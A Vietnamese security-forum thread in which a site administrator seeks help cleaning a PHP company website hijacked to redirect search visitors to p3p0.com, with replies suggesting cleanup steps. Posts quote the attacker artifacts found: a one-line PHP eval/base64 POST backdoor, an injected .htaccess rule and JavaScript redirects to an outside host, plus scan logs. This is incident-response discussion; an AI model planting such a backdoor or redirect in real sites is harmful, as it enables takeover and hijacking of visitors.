banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Forum Index Thảo luận bảo mật Vấn đề Hijacking "p3p0.com" cho website php  XML
  [Discussion]   Vấn đề Hijacking "p3p0.com" cho website php 05/12/2010 11:54:29 (+0700) | #1 | 226377
[Avatar]
KenshinIT
Member

[Minus]    0    [Plus]
Joined: 16/06/2008 18:37:24
Messages: 71
Offline
[Profile] [PM]
Lâu quá không vào forum rồi, hôm nay tôi mang tới cho các bác 1 vấn đề mới để anh em mình thảo luận đây. Tầm vóc của nó (theo mình nghĩ) tương đương với lỗi zero gần đây của Microsoft.


1. Website & web server:
- Website được 1 team rất "chuối" viết cho công ty tôi, không biết build bằng Framework nào, nhưng có vẻ giống develop từ WordPress.
- Web sever thì là sự kết hợp tá lả của Windows sever, IIS và Apche . Nhắc tới vụ này càng nản, tôi sẽ lập Topic khác để nói về lý do tại sao tôi không thể chuyển qua *nix.

2. Triệu chứng:
- Một ngày đẹp trời thì các bác Sếp bảo rằng Website không thể truy cập vào bằng cách search trên Google, nhưng truy cập trực tiếp bằng cách đánh tên Website vào phần Address thì ok.
- Thật vậy, khi vào Google hay bất kì websearch nào như Bing, YH!, search tên website công ty,sau đó click vào link từ Google thì bị wwwect qua trang "p3p0.com". Còn truy cập trực tiếp thì vẫn ok.

3. Khắc phục
- Sau khi search thì có rất nhiều trang web bị bao gồm cả Joomla, Drupal, WordPress, etc.. Tôi cũng giải quyết như họ từng làm, xoá đoạn code "eval(base64_decode (.." xuất hiện trong 1 số file .php như config.php, common.php.
- Trong thư mục includes xuất hiện files "post.php" với nội dung như sau: <?php eval (base64_decode($_POST["php"]));?>

- Sau tất cả các bước đó thì website hoạt đông trở lại bình thường được khoảng 2 tuần.

4. Nguyên nhân
- Đa số đặt cho nó cái tên là p3p0 hijacking, và không thể chỉ rõ nguyên nhân, chỉ nói có thể do virus hay do FTP pasword quá yếu, bị compromised.

5. Và hiện tại

- Bây giờ trang web chính thức bị sập. Vào xem error log của Apache thì thấy như sau:

Code:
[Thu Dec 02 23:18:26 2010] [error] [client 207.46.195.225] File does not exist: xxxxxxxxxxx/robots.txt
[Thu Dec 02 23:28:09 2010] [error] [client 206.217.86.34] File does not exist: xxxxxxxxxxx/images/ajax_loader.gif, referer: http://www.glassegg.com/main.php
[Thu Dec 02 23:32:58 2010] [error] [client 205.172.229.252] File does not exist: xxxxxxxxxxx/robots.txt
[Thu Dec 02 23:32:58 2010] [error] [client 205.172.229.252] File does not exist: xxxxxxxxxxx/robots.txt
[Thu Dec 02 23:32:58 2010] [error] [client 205.172.229.252] File does not exist: xxxxxxxxxxx/robots.txt
[Thu Dec 02 23:32:59 2010] [error] [client 205.172.229.252] File does not exist: xxxxxxxxxxx/robots.txt
[Thu Dec 02 23:45:36 2010] [error] [client 65.52.110.66] File does not exist: xxxxxxxxxxx/robots.txt
[Thu Dec 02 23:50:24 2010] [error] [client 65.52.53.244] File does not exist: xxxxxxxxxxx/robots.txt
[Fri Dec 03 00:09:00 2010] [error] [client 207.46.199.184] File does not exist: xxxxxxxxxxx/robots.txt
[Fri Dec 03 01:39:29 2010] [error] [client 216.205.76.228] client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /w00tw00t.at.ISC.SANS.DFind:)
[Fri Dec 03 02:25:42 2010] [error] [client 207.46.13.86] File does not exist: xxxxxxxxxxx/robots.txt
[Fri Dec 03 03:27:13 2010] [error] [client 207.46.13.44] File does not exist: xxxxxxxxxxx/robots.txt
[Fri Dec 03 03:53:36 2010] [error] [client 98.173.26.143] File does not exist: xxxxxxxxxxx/robots.txt
[Fri Dec 03 05:01:11 2010] [error] [client 69.41.186.62] File does not exist: xxxxxxxxxxx/RAHAT
[Fri Dec 03 05:01:11 2010] [error] [client 69.41.186.62] File does not exist: xxxxxxxxxxx/phpMyAdmin1
[Fri Dec 03 05:01:12 2010] [error] [client 69.41.186.62] script 'xxxxxxxxxxx/scripts/setup.php' not found or unable to stat
[Fri Dec 03 05:01:12 2010] [error] [client 69.41.186.62] File does not exist: xxxxxxxxxxx/pmy
[Fri Dec 03 05:01:12 2010] [error] [client 69.41.186.62] File does not exist: xxxxxxxxxxx/pma
[Fri Dec 03 05:01:12 2010] [error] [client 69.41.186.62] File does not exist: xxxxxxxxxxx/sql
[Fri Dec 03 05:01:12 2010] [error] [client 69.41.186.62] File does not exist: xxxxxxxxxxx/mysql
[Fri Dec 03 05:01:12 2010] [error] [client 69.41.186.62] script 'xxxxxxxxxxx/scripts/setup.php' not found or unable to stat
[Fri Dec 03 05:09:05 2010] [alert] [client 10.4.96.22] xxxxxxxxxxx/.htaccess: Invalid command 'RewriteEngine', perhaps misspelled or defined by a module not included in the server configuration
[Fri Dec 03 05:09:05 2010] [alert] [client 10.4.96.22] xxxxxxxxxxx/.htaccess: Invalid command 'RewriteEngine', perhaps misspelled or defined by a module not included in the server configuration
[Fri Dec 03 05:09:05 2010] [alert] [client 10.4.96.22] xxxxxxxxxxx/.htaccess: Invalid command 'RewriteEngine', perhaps misspelled or defined by a module not included in the server configuration
[Fri Dec 03 05:09:05 2010] [alert] [client 10.4.96.22] xxxxxxxxxxx/.htaccess: Invalid command 'RewriteEngine', perhaps misspelled or defined by a module not included in the server configuration
[Fri Dec 03 05:09:36 2010] [alert] [client 10.4.96.22] xxxxxxxxxxx/.htaccess: Invalid command 'RewriteEngine', perhaps misspelled or defined by a module not included in the server configuration
[Fri Dec 03 05:09:36 2010] [alert] [client 10.4.96.22] xxxxxxxxxxx/.htaccess: Invalid command 'RewriteEngine', perhaps misspelled or defined by a module not included in the server configuration
[Fri Dec 03 05:09:36 2010] [alert] [client 10.4.96.22] xxxxxxxxxxx/.htaccess: Invalid command 'RewriteEngine', perhaps misspelled or defined by a module not included in the server configuration
[Fri Dec 03 05:09:36 2010] [alert] [client 10.4.96.22] xxxxxxxxxxx/.htaccess: Invalid command 'RewriteEngine', perhaps misspelled or defined by a module not included in the server configuration
[Fri Dec 03 05:10:06 2010] [alert] [client 10.4.96.22] xxxxxxxxxxx/.htaccess: Invalid command 'RewriteEngine', perhaps misspelled or defined by a module not included in the server configuration
[Fri Dec 03 05:10:06 2010] [alert] [client 10.4.96.22] xxxxxxxxxxx/.htaccess: Invalid command 'RewriteEngine', perhaps misspelled or defined by a module not included in the server configuration
[Fri Dec 03 05:10:06 2010] [alert] [client 10.4.96.22] xxxxxxxxxxx/.htaccess: Invalid command 'RewriteEngine', perhaps misspelled or defined by a module not included in the server configuration
[Fri Dec 03 05:10:06 2010] [alert] [client 10.4.96.22] xxxxxxxxxxx/.htaccess: Invalid command 'RewriteEngine', perhaps misspelled or defined by a module not included in the server configuration
[Fri Dec 03 05:10:28 2010] [alert] [client 69.41.186.62] xxxxxxxxxxx/.htaccess: Invalid command 'RewriteEngine', perhaps misspelled or defined by a module not included in the server configuration, referer: http://69.20.122.101/phpMyAdmin/scripts/setup.php
[Fri Dec 03 05:10:28 2010] [alert] [client 69.41.186.62] xxxxxxxxxxx/.htaccess: Invalid command 'RewriteEngine', perhaps misspelled or defined by a module not included in the server configuration, referer: http://69.20.122.101/phpMyAdmin/scripts/setup.php
[Fri Dec 03 05:10:28 2010] [alert] [client 69.41.186.62] xxxxxxxxxxx/.htaccess: Invalid command 'RewriteEngine', perhaps misspelled or defined by a module not included in the server configuration, referer: http://69.20.122.101/phpmyadmin/scripts/setup.php
[Fri Dec 03 05:10:28 2010] [alert] [client 69.41.186.62] xxxxxxxxxxx/.htaccess: Invalid command 'RewriteEngine', perhaps misspelled or defined by a module not included in the server configuration, referer: http://69.20.122.101/phpmyadmin/scripts/setup.php
[Fri Dec 03 05:10:36 2010] [alert] [client 10.4.96.22] xxxxxxxxxxx/.htaccess: Invalid command 'RewriteEngine', perhaps misspelled or defined by a module not included in the server configuration
[Fri Dec 03 05:10:36 2010] [alert] [client 10.4.96.22] xxxxxxxxxxx/.htaccess: Invalid command 'RewriteEngine', perhaps misspelled or defined by a module not included in the server configuration
[Fri Dec 03 05:10:36 2010] [alert] [client 10.4.96.22] xxxxxxxxxxx/.htaccess: Invalid command 'RewriteEngine', perhaps misspelled or defined by a module not included in the server configuration"

- Trong thư mục documentroot của Apache thì xuất hiện file .htcaccess mà trước đó không có (tôi chắc chắn vì xem lại các backup thì không có), nội dung nó như sau:

Code:
RewriteEngine On
RewriteBase /
RewriteRule ^(.*)? http://webarh.com/2cfc333c05a36861e79c68b09b45ebeb


- Trong file index.php cũng xuất hiện câu "<script>document.location.href='http://webarh.com/2cfc333c05a36861e79c68b09b45ebeb';</script><?"

- Sau đó tôi tạm ngắt trang web và viết câu thông báo đơn giản là Website đang đươc maintenaned vào file index.php. Được 1 thời gian thì vào edit file index.php thì thấy : "<script type='text/javascript'>document.location.href='http://webarh.com/8cad045d87c7ffec78c1b346a805b1a9'+Math.floor(Math.random()*1000000);</script><?php"

------------End-------------------------------------------

Hiện giờ đang bí ở đây, mong các bác vào xem bàn luận nguyên nhân và hướng khắc phục. Vì ngay cả trên 1 số forum nổi tiếng khác cũng chưa có cách khắc phục triệt để cho p3p0 hijacking, chỉ là xoá file post.php, xoá dòng "eval(base64_decode..", nhưng sau đó lại bị nữa. Còn giống Website công ty tôi hiện giờ hay không thì không biết

Thanks all & Best Regards,
[Up] [Print Copy]
  [Discussion]   Vấn đề Hijacking "p3p0.com" cho website php 05/12/2010 19:57:20 (+0700) | #2 | 226413
[Avatar]
phonglanbiec
Member

[Minus]    0    [Plus]
Joined: 03/07/2006 20:56:00
Messages: 162
Offline
[Profile] [PM]
1. Bạn kiểm tra lại các services đang hoạt động trên server.
2. Bạn thử quét virus lại một lần xem.
3. Sau khi sửa đổi, bạn thử thiết đặt quyền hạn cho các files đó chỉ có quyền read, không cho phép write thử xem.
[Up] [Print Copy]
  [Discussion]   Vấn đề Hijacking "p3p0.com" cho website php 05/12/2010 20:28:44 (+0700) | #3 | 226415
vn.rootkit
Member

[Minus]    0    [Plus]
Joined: 22/01/2009 00:12:32
Messages: 18
Offline
[Profile] [PM]
Có phải ý của bạn là sau khi website bị sập thì bạn đã để thông báo bảo trì cho website?Sau khi đặt thông báo một thời gian bạn vào lại kiểm tra file index.php thì thấy đoạn script?
Có thể có 2 nguyên nhân:
- Website hoặc các service của bạn vẫn có lỗ hổng và vẫn tiếp tục bị khai thác
- Máy chủ đã bị cài backdoor

Bạn nên kiểm tra lại như phonglanbiec đã nói ở trên, đồng thời kêu công ty triển khai website đó kiểm tra lại code. Bạn có thể review lại log của apache vào những thời điểm trước đó nữa xem, biết đâu có thể thấy điều gì lạ
[Up] [Print Copy]
  [Discussion]   Vấn đề Hijacking "p3p0.com" cho website php 05/12/2010 21:33:13 (+0700) | #4 | 226417
[Avatar]
gamma95
Researcher

Joined: 20/05/2003 07:15:41
Messages: 1377
Location: aaa&quot;&gt;
Offline
[Profile] [PM] [ICQ]
coi chừng nó inject code: check Referer từ google là nó wwwect đến cái site của nó
Cánh chym không mỏi
lol
[Up] [Print Copy]
  [Discussion]   Vấn đề Hijacking "p3p0.com" cho website php 05/12/2010 21:42:14 (+0700) | #5 | 226418
nbthanh
HVA Friend

Joined: 21/12/2001 14:51:51
Messages: 429
Offline
[Profile] [PM]
Có vẻ đây là 1 cái lỗi của cái app (hoặc plugin của cái app đó). Cho nên thay vì tập trung vào php, server hay network thì lên website của cái app để coi cách khắc phục, hoặc cài patch nếu có.
[Up] [Print Copy]
  [Discussion]   Vấn đề Hijacking &quot;p3p0.com&quot; cho website php 06/12/2010 02:17:07 (+0700) | #6 | 226431
[Avatar]
xnohat
Moderator

Joined: 30/01/2005 13:59:19
Messages: 1210
Location: /dev/null
Offline
[Profile] [PM] [Email] [WWW] [Yahoo!] [MSN]
Tôi thì cho là chuyện này xuất phát từ việc một số các Theme hay Plugin được cài trong các bản Wordpress , joomla, Dupral này do một nhóm phát triển và họ đã âm thầm cấy mã độc vào ( hoặc các Plugin này có lỗi ). Chuyện này không phải hiếm vì trước đây thời IPB còn thịnh hành, tôi từng chứng kiến không ít các themes của IPB đã bị cài mã độc bên trong CSS, PHP , javascript

Điểm đáng chú ý là các cuộc tấn công hầu hết xoay quanh 3 web app chính là Wordpress, joomla và dupral , theo tôi biết thì 3 web app có nhiều thành phần mã được dùng lại của nhau và nhiều plugin 3rd party được tái cấu trúc lại cho cả 3 web app.

Biện pháp tôi đề nghị bây giờ là tối giản hóa các plugin không cần thiết trên webapp , dùng Dreamwaver , notepad++ hay bất kì trình editor nào hồ trợ kiếm string trong 1 thư mục để thực hiện tìm kiếm các đoạn eval(base64_encode( và xóa chúng đi ( mã nguồn gốc ít ai viết cái thứ này vào để làm gì

Xóa các file lạ như là cái post.php bằng cách so sán bản hiện nay và bản backup trọn bộ các file lúc ban đầu chưa có gì xảy ra.

Nếu có thể dựng máy ảo chạy *nix ( vì bồ nói là không thể chuyển qua *nix) làm webserver ( chỉ webserver ) vì *nix nếu config đúng sẽ giúp hạn chế tối đa khả năng phá hoại của các virus dạng này
iJust clear, "What I need to do and how to do it"/i
br
brBox tán gẫu dời về: http://www.facebook.com/hvaonline
[Up] [Print Copy]
  [Discussion]   Vấn đề Hijacking &quot;p3p0.com&quot; cho website php 06/12/2010 08:07:28 (+0700) | #7 | 226440
[Avatar]
KenshinIT
Member

[Minus]    0    [Plus]
Joined: 16/06/2008 18:37:24
Messages: 71
Offline
[Profile] [PM]

xnohat wrote:
Tôi thì cho là chuyện này xuất phát từ việc một số các Theme hay Plugin được cài trong các bản Wordpress , joomla, Dupral này do một nhóm phát triển và họ đã âm thầm cấy mã độc vào ( hoặc các Plugin này có lỗi ). Chuyện này không phải hiếm vì trước đây thời IPB còn thịnh hành, tôi từng chứng kiến không ít các themes của IPB đã bị cài mã độc bên trong CSS, PHP , javascript

Điểm đáng chú ý là các cuộc tấn công hầu hết xoay quanh 3 web app chính là Wordpress, joomla và dupral , theo tôi biết thì 3 web app có nhiều thành phần mã được dùng lại của nhau và nhiều plugin 3rd party được tái cấu trúc lại cho cả 3 web app.

Biện pháp tôi đề nghị bây giờ là tối giản hóa các plugin không cần thiết trên webapp , dùng Dreamwaver , notepad++ hay bất kì trình editor nào hồ trợ kiếm string trong 1 thư mục để thực hiện tìm kiếm các đoạn eval(base64_encode( và xóa chúng đi ( mã nguồn gốc ít ai viết cái thứ này vào để làm gì

Xóa các file lạ như là cái post.php bằng cách so sán bản hiện nay và bản backup trọn bộ các file lúc ban đầu chưa có gì xảy ra.

Nếu có thể dựng máy ảo chạy *nix ( vì bồ nói là không thể chuyển qua *nix) làm webserver ( chỉ webserver ) vì *nix nếu config đúng sẽ giúp hạn chế tối đa khả năng phá hoại của các virus dạng này 


Tôi cũng nghĩ giống bạn, và đã tìm-xoá hết tất cả các file .php có đoạn code "eval".

Nhưng cái đấy không phải là đoạn code có sẵn, vì khi tôi so sánh với các bản backup trước thì không có. Điều làm tôi đau đầu là không thấy nói rõ nguyên nhân của cái vulnerability này.

Nhưng tôi có thể chốt lại cho anh em nào đang quản trị site được coding bằng php khi gặp trường hợp Redirect tới p3p0.com thì search và xoá tất cả dòng code có bắt đầu bằng "eval(..", và phải xoá ngay Back door "post.php" với nội dung: Code:
<?php eval (base64_decode($_POST["php"]));?>


Bây giờ tới phần chua nhất. Theo tôi nghĩ, cái p3p0 chỉ là 1 đợt reconnaissance của tụi Hacker thôi, vì sau đó là sẽ tới 1 đợt đánh chính thức vào Apache và MySQL, làm tê liệt Apache sever. Đó chính là trường hợp tôi gặp hiện tại.

@vn.rootkit: như tôi đã nêu, sau khi remove toàn bộ website content, viết lại 1 trang thông báo đơn giản bằng php là: Code:
<?php printf "Server is being maintained, please come back later..." ; ?>
, được chưa đầy 1 ngày thì Apache sever tiếp tục chết. Kiểm tra lại trong file index.php đơn giản ấy thì thấy 1 đoạn script lạ được chèn vào

Từ đây có thể suy ra (không chắc 100%), các server bị dính đợt "p3p0" vẫn còn bị 1 backdoor khác, không chỉ riêng backdoor là file post.php, nên khi đó, dù là để 1 trang html hay php đơn giản, chúng đều bị injnect vào 1 script, dẫn tới Apache bị tê liết.

Giải pháp trước mắt và đang chờ đợt attack kế tiếp để xác định rõ hơn là:
1. Xoá ngay các file nào có dòng script lạ: Code:
<script type='text Javascript'>document.location.href='http:
trong các file, đa số là index.*
2. Xoá ngay file setup.php trong PhpMyadmin/scripts. Còn nếu bạn không cần xài PhpMyadmin thì xoá hẳn nguyên thư mục này luôn. Vì đây có vẻ như là 1 vulnerability mới của PhpMyadmin.
3. Xoá file .httpaccess được Hackers tạo ra với nội dung:
Code:
RewriteEngine On
RewriteBase /
RewriteRule ^(.*)? http://...

4. Nên sử dụng Php6 thay cho Php5.x vì nó sẽ tránh được 1 số lỗi từ connection giữa PhpMyadmin & MySQL. Khi đó thì nghiên cứu lại hàmCode:
set_magic_quotes_runtime
của Php.

@ xnohat
Nếu có thể dựng máy ảo chạy *nix ( vì bồ nói là không thể chuyển qua *nix) làm webserver ( chỉ webserver ) vì *nix nếu config đúng sẽ giúp hạn chế tối đa khả năng phá hoại của các virus dạng này 
Thanks pro, tôi cũng biết vậy nhưng nếu tôi được phép dụng *nix server thì nói gì nữa smilie. Cái chuối ở đây là đang bị Sếp ép sống chung với thằng Windows củ chuối, đang làm kiến nghị tách ra mà chưa được đây. Sẽ tiếp thu ý kiến của bro là chạy 1 máy chủ *nix ảo trong Windows Server hiện tại.

Tạm thời là vậy, có gì tôi sẽ update lên đây để anh em tiếp tục thảo luận.

Thanks all & Best Regards
[Up] [Print Copy]
  [Discussion]   Vấn đề Hijacking &quot;p3p0.com&quot; cho website php 06/12/2010 16:56:57 (+0700) | #8 | 226488
[Avatar]
KenshinIT
Member

[Minus]    0    [Plus]
Joined: 16/06/2008 18:37:24
Messages: 71
Offline
[Profile] [PM]
News......

Đã có vô vàn đợt attack tiếp thep. Tôi sẽ đưa ra log cho anh em tham khảo sau. Nhưng bây giờ mình thảo luận 1 tí. Đây có phải là 1 loại attack ko?

Code:
58.186.220.205 - - [06/Dec/2010:15:16:28 +0700] "POST /howwework-open.php HTTP/1.1" 200 898
113.22.168.141 - - [06/Dec/2010:16:31:56 +0700] "POST /contact.php HTTP/1.1" 200 2337
113.161.74.114 - - [06/Dec/2010:14:56:28 +0700] "POST /howwework-strong.php HTTP/1.1" 200 2523
58.186.119.175 - - [06/Dec/2010:14:45:02 +0700] "POST /portfolio.php HTTP/1.1" 200 1920


Sau đây là những yếu tố để xét xem có phải là attack ko:

1. Web của công ty là web bình thường, không có forum gì cả, cũng không cho khả năng modify nội dung.

2. Người có thể Modify nội dung thì ngồi trong công ty, sử dụng "cms" có sẵn của website. Nhưng những ip trên không thuộc range IP mà công ty đang thuê.

3. Những file mà IP trên cố gắng post vào đều chẳng phải những file cần update. Công ty chỉ update Images là đa số.
[Up] [Print Copy]
  [Discussion]   Vấn đề Hijacking "p3p0.com" cho website php 06/12/2010 20:23:10 (+0700) | #9 | 226499
vn.rootkit
Member

[Minus]    0    [Plus]
Joined: 22/01/2009 00:12:32
Messages: 18
Offline
[Profile] [PM]
Để xác định chính xác thì có lẽ nên có thêm thông tin về website của bạn. Ví dụ như các file bạn đưa lên không biết là để public hay không? Hoặc các truy vấn đó có đến từ trước hay bây giờ mới thấy...
[Up] [Print Copy]
  [Discussion]   Vấn đề Hijacking &quot;p3p0.com&quot; cho website php 07/12/2010 01:42:28 (+0700) | #10 | 226508
[Avatar]
conmale
Administrator

Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
[Profile] [PM]

KenshinIT wrote:
News......

Đã có vô vàn đợt attack tiếp thep. Tôi sẽ đưa ra log cho anh em tham khảo sau. Nhưng bây giờ mình thảo luận 1 tí. Đây có phải là 1 loại attack ko?

Code:
58.186.220.205 - - [06/Dec/2010:15:16:28 +0700] "POST /howwework-open.php HTTP/1.1" 200 898
113.22.168.141 - - [06/Dec/2010:16:31:56 +0700] "POST /contact.php HTTP/1.1" 200 2337
113.161.74.114 - - [06/Dec/2010:14:56:28 +0700] "POST /howwework-strong.php HTTP/1.1" 200 2523
58.186.119.175 - - [06/Dec/2010:14:45:02 +0700] "POST /portfolio.php HTTP/1.1" 200 1920


Sau đây là những yếu tố để xét xem có phải là attack ko:

1. Web của công ty là web bình thường, không có forum gì cả, cũng không cho khả năng modify nội dung.

2. Người có thể Modify nội dung thì ngồi trong công ty, sử dụng "cms" có sẵn của website. Nhưng những ip trên không thuộc range IP mà công ty đang thuê.

3. Những file mà IP trên cố gắng post vào đều chẳng phải những file cần update. Công ty chỉ update Images là đa số. 


- Thứ nhất, với HTTP status 200 của 4 request trên chứng tỏ những php file ấy tồn tại.

- Thứ nhì, những fles đó nằm ngay "context" root (/). Điều này có nghĩa những file ấy tồn tại để cho mọi người có thể access. Nếu không thì access đến những php đó sẽ đòi hỏi authentication rồi sau đó mới thực hiện chuyện gì đó sau. Bởi thế, việc access đến các php ấy có HTTP status 200 (để đi tới bước authentication) là chuyện bình thường. Bồ nên xác nhận các php đó available cho mọi người access hay không?

- Thứ ba, log format của các log trên thuộc dạng đơn giản nên không ghi nhận kích thước của các "POST". Bởi vậy, khó xác định được những request ấy là "tấn công" hay sử dụng bình thường.

- Thứ tư, nếu không nắm được chức năng và cấu trúc của web application của bồ thì khó lòng mà đoán được chuyện gì xảy ra với vỏn vẹn 4 dòng log ngắn gọn như trên.
What bringing us together is stronger than what pulling us apart.
[Up] [Print Copy]
  [Discussion]   Vấn đề Hijacking &quot;p3p0.com&quot; cho website php 08/12/2010 13:49:45 (+0700) | #11 | 226641
[Avatar]
KenshinIT
Member

[Minus]    0    [Plus]
Joined: 16/06/2008 18:37:24
Messages: 71
Offline
[Profile] [PM]

conmale wrote:


- Thứ nhất, với HTTP status 200 của 4 request trên chứng tỏ những php file ấy tồn tại.

- Thứ nhì, những fles đó nằm ngay "context" root (/). Điều này có nghĩa những file ấy tồn tại để cho mọi người có thể access. Nếu không thì access đến những php đó sẽ đòi hỏi authentication rồi sau đó mới thực hiện chuyện gì đó sau. Bởi thế, việc access đến các php ấy có HTTP status 200 (để đi tới bước authentication) là chuyện bình thường. Bồ nên xác nhận các php đó available cho mọi người access hay không?

- Thứ ba, log format của các log trên thuộc dạng đơn giản nên không ghi nhận kích thước của các "POST". Bởi vậy, khó xác định được những request ấy là "tấn công" hay sử dụng bình thường.

- Thứ tư, nếu không nắm được chức năng và cấu trúc của web application của bồ thì khó lòng mà đoán được chuyện gì xảy ra với vỏn vẹn 4 dòng log ngắn gọn như trên. 


Hi commale,

Tôi cũng biết là những file này tồn tại, và available to access (Get/Head) nhưng không cho Modify (Post). Vấn đề bồ đặt ra khá đúng: Tại sao biết những đây là những đợt attack từ những log file khá đơn giản như vậy?

Bởi vì, như tôi đã nêu ở phần đầu của Topic, đó là Website đã bị attack/hack 1 lần rồi, trước đó chỉ vài ngày. Và hầu hết các file php đều bị Post 1 đoạn script lạ để Redirect đến "p3p0.com". Kế nữa, những IP thực hiện việc Post này không phải IP của người được giao nhiệm vụ Update website. Tôi đã kêu người đó thử Post và so sánh thì IP hoàn toàn khác nhau. Và nếu dùng 1 số phuơng pháp Trace thì có thể thấy 1 số IP được đưa ra trong log file trên đa số xuất phát từ nước ngoài ( Panama, Euro), chỉ khoảng 2-3 IP là từ Việt Nam.

Do đó, đến đây tôi có thể nói (chỉ theo ý tôi thôi nhé ) là website tiếp tục bị Hack/attack. Thêm 1 bằng chứng nữa. Khi tôi để 1 file index.php rất đơn giàn, chỉ print 1 câu thông báo là sever đang maintained thì vẫn bị Post vào 1 dòng script lạ .

Nếu ở trường hợp khác thì chắc chắn sẽ phải xem xét kĩ lại rồi mới dám đưa ra giả thuyết. Nhưng vì đặc thù của trang Web chỉ là show ra info và image về cty. Không cho comment hay post lên đó gì cả, và vì mới bị dính 1 đợt reconnaissance trước đó nên mình có thể đoán ra.

Tôi đang cố gắng đưa vài cái .cap và toàn bộ log file nghi vấn lên đây cho anh em tham khảo chung luôn. Nhưng hiện giờ hơi bận.

Sẽ update tình hình cho anh em liên tục.

Thanks & Best Regards
[Up] [Print Copy]
  [Discussion]   Vấn đề Hijacking &quot;p3p0.com&quot; cho website php 08/12/2010 14:28:20 (+0700) | #12 | 226646
[Avatar]
conmale
Administrator

Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
[Profile] [PM]

KenshinIT wrote:

conmale wrote:


- Thứ nhất, với HTTP status 200 của 4 request trên chứng tỏ những php file ấy tồn tại.

- Thứ nhì, những fles đó nằm ngay "context" root (/). Điều này có nghĩa những file ấy tồn tại để cho mọi người có thể access. Nếu không thì access đến những php đó sẽ đòi hỏi authentication rồi sau đó mới thực hiện chuyện gì đó sau. Bởi thế, việc access đến các php ấy có HTTP status 200 (để đi tới bước authentication) là chuyện bình thường. Bồ nên xác nhận các php đó available cho mọi người access hay không?

- Thứ ba, log format của các log trên thuộc dạng đơn giản nên không ghi nhận kích thước của các "POST". Bởi vậy, khó xác định được những request ấy là "tấn công" hay sử dụng bình thường.

- Thứ tư, nếu không nắm được chức năng và cấu trúc của web application của bồ thì khó lòng mà đoán được chuyện gì xảy ra với vỏn vẹn 4 dòng log ngắn gọn như trên. 


Hi commale,

Tôi cũng biết là những file này tồn tại, và available to access (Get/Head) nhưng không cho Modify (Post). Vấn đề bồ đặt ra khá đúng: Tại sao biết những đây là những đợt attack từ những log file khá đơn giản như vậy?

Bởi vì, như tôi đã nêu ở phần đầu của Topic, đó là Website đã bị attack/hack 1 lần rồi, trước đó chỉ vài ngày. Và hầu hết các file php đều bị Post 1 đoạn script lạ để Redirect đến "p3p0.com". Kế nữa, những IP thực hiện việc Post này không phải IP của người được giao nhiệm vụ Update website. Tôi đã kêu người đó thử Post và so sánh thì IP hoàn toàn khác nhau. Và nếu dùng 1 số phuơng pháp Trace thì có thể thấy 1 số IP được đưa ra trong log file trên đa số xuất phát từ nước ngoài ( Panama, Euro), chỉ khoảng 2-3 IP là từ Việt Nam.

Do đó, đến đây tôi có thể nói (chỉ theo ý tôi thôi nhé ) là website tiếp tục bị Hack/attack. Thêm 1 bằng chứng nữa. Khi tôi để 1 file index.php rất đơn giàn, chỉ print 1 câu thông báo là sever đang maintained thì vẫn bị Post vào 1 dòng script lạ .

Nếu ở trường hợp khác thì chắc chắn sẽ phải xem xét kĩ lại rồi mới dám đưa ra giả thuyết. Nhưng vì đặc thù của trang Web chỉ là show ra info và image về cty. Không cho comment hay post lên đó gì cả, và vì mới bị dính 1 đợt reconnaissance trước đó nên mình có thể đoán ra.

Tôi đang cố gắng đưa vài cái .cap và toàn bộ log file nghi vấn lên đây cho anh em tham khảo chung luôn. Nhưng hiện giờ hơi bận.

Sẽ update tình hình cho anh em liên tục.

Thanks & Best Regards 


Nếu bồ tạo ra cái index.php nhưng những cái php kia vẫn tồn tại và chẳng có gì kiểm soát hoặc ngăn chặn thì request vẫn có thể thực thi đến các php kia thôi.
What bringing us together is stronger than what pulling us apart.
[Up] [Print Copy]
  [Discussion]   Vấn đề Hijacking "p3p0.com" cho website php 09/12/2010 08:32:43 (+0700) | #13 | 226701
[Avatar]
KenshinIT
Member

[Minus]    0    [Plus]
Joined: 16/06/2008 18:37:24
Messages: 71
Offline
[Profile] [PM]
Nếu như vậy thì không phải đau đầu nhiều đâu bro. Đằng này, tôi đã xoá hết web folder rồi. Chỉ tạo mới 1 cái index.php để thông báo thôi. Kết quả thì bro biết rồi đấy smilie

Tình hình là bữa giờ server tạm ok. Vẫn có nhiều đợt attack vào theo kiểu cũ, nhưng do tôi đã vá lại rồi, nên cũng ko sao. Để vài hôm nữa xem thến nào rồi sẽ đưa ra kết kuận chính thức cho việc này

Thanks all & Best Regards.
[Up] [Print Copy]
  [Discussion]   Vấn đề Hijacking "p3p0.com" cho website php 09/12/2010 11:55:09 (+0700) | #14 | 226711
[Avatar]
conmale
Administrator

Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
[Profile] [PM]

KenshinIT wrote:
Nếu như vậy thì không phải đau đầu nhiều đâu bro. Đằng này, tôi đã xoá hết web folder rồi. Chỉ tạo mới 1 cái index.php để thông báo thôi. Kết quả thì bro biết rồi đấy smilie

Tình hình là bữa giờ server tạm ok. Vẫn có nhiều đợt attack vào theo kiểu cũ, nhưng do tôi đã vá lại rồi, nên cũng ko sao. Để vài hôm nữa xem thến nào rồi sẽ đưa ra kết kuận chính thức cho việc này

Thanks all & Best Regards. 



Đoạn màu đỏ khá phi lý. Nếu trên trang web ấy chỉ tồn tại có mỗi index.php thì tất cả những request không đến index.php bắt buộc phải có HTTP 404 error (not found). Ví dụ, request đến /howwework-open.php phải có status là 404.
What bringing us together is stronger than what pulling us apart.
[Up] [Print Copy]
  [Discussion]   Vấn đề Hijacking "p3p0.com" cho website php 09/12/2010 14:28:44 (+0700) | #15 | 226726
[Avatar]
KenshinIT
Member

[Minus]    0    [Plus]
Joined: 16/06/2008 18:37:24
Messages: 71
Offline
[Profile] [PM]

conmale wrote:



Đoạn màu đỏ khá phi lý. Nếu trên trang web ấy chỉ tồn tại có mỗi index.php thì tất cả những request không đến index.php bắt buộc phải có HTTP 404 error (not found). Ví dụ, request đến /howwework-open.php phải có status là 404. 


Rất chính xác. Có rất nhiều là đằng khác, tại tôi chỉ point out 1 vài log mà mình muốn focus cho anh em thôi.

Nói chung là nó chơi kiểu wide attack, dò và adapt 1-2 đoạn script vào tất cả các file php mà 1 trang web thông thường sẽ có, nào là index.php, main.php, common.php, phpMyadmin/scripts/setup.php, includes/post.php, etc....

